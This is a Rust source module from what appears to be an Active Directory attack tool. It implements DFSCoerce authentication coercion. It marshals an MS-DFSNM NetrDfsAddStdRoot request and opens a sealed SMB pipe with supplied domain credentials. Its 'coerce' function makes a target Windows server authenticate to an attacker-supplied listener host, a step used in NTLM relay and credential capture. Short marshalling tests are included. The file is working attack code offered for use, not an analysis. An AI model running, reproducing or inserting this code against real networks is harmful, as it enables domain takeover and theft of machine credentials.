use crate::ndr::NdrEncoder;
use crate::transport::SmbPipe;
use crate::{Result, Syntax};
use smb2_client::SmbClient;
pub fn dfsnm_syntax() -> Syntax {
Syntax::new("4fc742e0-4a10-11cf-8273-00aa004ae673", 3, 0)
}
pub const OPNUM_ADD_STD_ROOT: u16 = 12;
pub fn encode_add_std_root(server_name: &str, root_share: &str, comment: &str) -> Vec<u8> {
let mut e = NdrEncoder::new();
e.referent();
e.conformant_varying_wstr(server_name);
e.referent();
e.conformant_varying_wstr(root_share);
e.referent();
e.conformant_varying_wstr(comment);
e.u32(0); e.into_bytes()
}
pub struct CoerceClient<'a> {
pipe: SmbPipe<'a>,
}
impl<'a> CoerceClient<'a> {
pub async fn bind_sealed(
client: &'a mut SmbClient,
file_id: [u8; 16],
domain: &str,
user: &str,
password: &str,
host: &str,
) -> Result<Self> {
let mut pipe = SmbPipe::new(client, file_id);
pipe.bind_sealed(dfsnm_syntax(), domain, user, password, host)
.await?;
Ok(CoerceClient { pipe })
}
pub async fn coerce(&mut self, listener: &str) -> Result<u32> {
let resp = self
.pipe
.call_sealed(
OPNUM_ADD_STD_ROOT,
&encode_add_std_root(listener, "share", "adhammer"),
)
.await?;
let status = resp
.len()
.checked_sub(4)
.and_then(|o| resp.get(o..o + 4))
.map(|b| u32::from_le_bytes(b.try_into().unwrap()))
.unwrap_or(0);
Ok(status)
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn add_std_root_marshals_three_strings_and_flags() {
let stub = encode_add_std_root("10.0.0.1", "share", "x");
assert_ne!(u32::from_le_bytes(stub[0..4].try_into().unwrap()), 0); assert_eq!(&stub[stub.len() - 4..], &[0, 0, 0, 0]); }
#[test]
fn empty_strings_still_marshal() {
let _ = encode_add_std_root("", "", "");
}
}